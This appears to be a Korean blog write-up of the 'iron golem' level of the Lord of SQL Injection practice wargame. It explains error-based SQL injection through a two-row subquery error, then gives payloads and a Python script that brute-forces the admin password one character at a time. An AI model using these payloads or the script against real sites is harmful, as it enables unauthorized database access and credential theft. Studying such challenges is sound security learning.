보안 공부/Load of SQL injection
[Load of SQL Injection] iron golem
sh1256
2022. 2. 5. 17:30
728x90
pw에 ' 를 넣어주면 오류가 발생한다.
아마도 error base sql injection이라고 생각된다.
문법 정리
(select 1 union select 2)
(서브쿼리는 하나의 레코드를 반환해야하는데, 해당 쿼리의 결과는 2개의 레코드를 반환하기 때문에 에러가난다.)
if ( 조건문, 참일때 값, 거짓일때 값)
pw= '' or id='admin' and if(length(pw)=N, True, (select 1 union select 2))#
length(pw)=N가 참이면 에러, 아니면 정상출력
pw= '' or id='admin' and if(length(pw)=32, True, (select 1 union select 2))# --> 에러 출력
--> length(pw)는 32
import requests
cookies={'PHPSESSID':'beopb3b3ok1d8bc54acg5ulglr'}
url ="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20(id=%27admin%27%20and%20"
length=32
pw= ""
for i in range(1, length+1):
for j in range(48, 122):#숫자부터 대문자z까지
#if(substr(pw, N, 1)=?,(select 1 union select 2),FALSE))#
search_str="if(substr(pw, "+str(i)+", 1)='"+chr(j)+"',(select 1 union select 2),FALSE))%23"
print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("Subquery") !=-1:
pw+=chr(j)
print("hex(pw): "+pw)
break
pw:06b5a6c16e8830475f983cc3a825ee9a